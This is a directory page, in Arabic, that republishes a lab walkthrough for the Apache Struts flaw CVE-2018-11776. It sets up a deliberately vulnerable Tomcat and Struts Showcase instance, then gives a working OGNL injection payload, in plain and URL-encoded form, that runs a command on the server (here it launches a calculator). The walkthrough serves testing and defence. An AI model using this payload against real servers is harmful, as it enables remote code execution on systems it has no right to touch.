Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2018-11776 — إنشاء بيئة ضعيفة وPoC | Kitploit
أدوات/GitHubGitHub/xfox64x/cve-2018-11776
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمتطوير الحمولات
GitHubxfox64x/cve-2018-11776

CVE-2018-11776

إنشاء بيئة ضعيفة وPoC

عرض المستودع
156منذ 6 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2018-11776

إثبات لمفهوم الاستغلال (PoC) حتى أتمكن من تقييم أنواع الحماية والإصلاحات المتاحة بسرعة.

اكتشفها أصلاً مان يو مو، من Semmle: https://semmle.com/news/apache-struts-CVE-2018-11776

كان لدى Semmle فيديو على YouTube بعنوان "Apache Struts RCE - CVE-2018-11776 - PoC Exploit Demo" لفترة، لكني أعتقد أنه اختفى أو على الأقل لم يعد مرتبطاً بـ Semmle: https://www.youtube.com/watch?v=5SDNX20SLJ0

أخذت معلومات من ما سبق ثم بدأت بالنظر في الالتزامات (commits) في مستودع struts: https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

أنا كسول جداً لدرجة أني لا أريد استخدام Docker أو أي شيء آخر...

إعداد واستغلال مضيف ضعيف

تنزيل أحدث ISO لـ Ubuntu Desktop وإنشاء جهاز افتراضي.

http://releases.ubuntu.com/18.04.1/ubuntu-18.04.1-desktop-amd64.iso?_ga=2.265574989.317727484.1535056103-825490018.1535056103

تثبيت التبعيات:

sudo apt-get update

sudo apt-get upgrade

sudo apt-get dist-upgrade

sudo apt-get install default-jdk vim net-tools

إعداد Tomcat:

mkdir ~/sources

cd ~/sources

wget http://mirrors.ocf.berkeley.edu/apache/tomcat/tomcat-7/v7.0.90/bin/apache-tomcat-7.0.90.tar.gz

tar xvzf apache-tomcat-7.0.90.tar.gz

sudo mv apache-tomcat-7.0.90 /opt/tomcat

تحديث bashrc بالمتغيرات:

vim ~/.bashrc

export JAVA_HOME=/usr/lib/jvm/default-java

export CATALINA_HOME=/opt/tomcat

. ~/.bashrc

إضافة مشرف لواجهة Tomcat الرسومية:

sudo vim /opt/tomcat/conf/tomcat-users.xml

root@kitploit:~
<user username="username" password="password" roles="manager-gui,admin-gui" />

الحصول على Struts2 Showcase ضعيف حتى نعمل عليه:

cd ~/sources

wget http://central.maven.org/maven2/org/apache/struts/struts2-showcase/2.3.14/struts2-showcase-2.3.14.war

نشر ملف WAR عبر واجهة Tomcat الرسومية:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

إعادة تشغيل Tomcat والتحقق من توفر Struts2 Showcase:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/manager/html

إضافة إجراء إعادة توجيه ضعيف بدون namespace:

vim /opt/tomcat/webapps/struts2-showcase-2.3.14/WEB-INF/classes/struts.xml

root@kitploit:~
    <action name="help">
            <result type="redirectAction">
                    <param name="actionName">date.action</param>
            </result>
    </action>

date.action معرف بالفعل، لذلك أضفنا إجراء إعادة توجيه آخر يستدعي date.action

افتراضياً، يجب أن يكون alwaysSelectFullNamespace مضبوطاً على True.

إعادة تشغيل Tomcat والاطلاع على صفحة Struts2 Showcase:

$CATALINA_HOME/bin/shutdown.sh

$CATALINA_HOME/bin/startup.sh

http://127.0.0.1:8080/struts2-showcase-2.3.14/showcase.jsp

إنشاء تعبير OGNL للقيام بشيء. دعنا نفعل ما فعله Semmle على الأرجح في فيديو YouTube الخاص بهم:

%{(#_memberAccess['allowStaticMethodAccess'] = true).(#rt = @java.lang.Runtime@getRuntime()).(#rt.exec('gnome-calculator'))}

يجب ترميز تعبير OGNL URL ووضعه قبل '/' الأخير في عنوان URL، لاستهداف help.action الضعيف:

127.0.0.1:8080/struts2-showcase-2.3.14/<encoded-command-goes-here>/help.action

127.0.0.1:8080/struts2-showcase-2.3.14/%25%7B%28%23%5F%6D%65%6D%62%65%72%41%63%63%65%73%73%5B%27%61%6C%6C%6F%77%53%74%61%74%69%63%4D%65%74%68%6F%64%41%63%63%65%73%73%27%5D%20%3D%20%74%72%75%65%29%2E%28%23%72%74%20%3D%20%40%6A%61%76%61%2E%6C%61%6E%67%2E%52%75%6E%74%69%6D%65%40%67%65%74%52%75%6E%74%69%6D%65%28%29%29%2E%28%23%72%74%2E%65%78%65%63%28%27%67%6E%6F%6D%65%2D%63%61%6C%63%75%6C%61%74%6F%72%27%29%29%7D/help.action

عند التنفيذ على مضيف Ubuntu الضعيف، يجب أن نرى ظهور مثيل آلة حاسبة جديدة.

الالتزامات ذات الصلة التي أصلحت المشكلة:

https://github.com/apache/struts/commit/6e87474f9ad0549f07dd2c37d50a9ccd0977c6e5

أفكار:

تطبيق آخر ضعيف ومحدد جداً لـ struts. التغطية الإعلامية لهذه الثغرة جعلت الجميع في حالة ذعر، رغم أن الإعدادات/الأكواد الأكثر إهمالاً فقط هي المعرضة فعلاً... لا أستطيع التفكير في طريقة فعالة ومخفية للعثور على هذه الثغرة واستغلالها بشكل موثوق. توصيتي: فقط قم بترقية struts... (أو توقف عن استخدامه)

تنزيل الأداة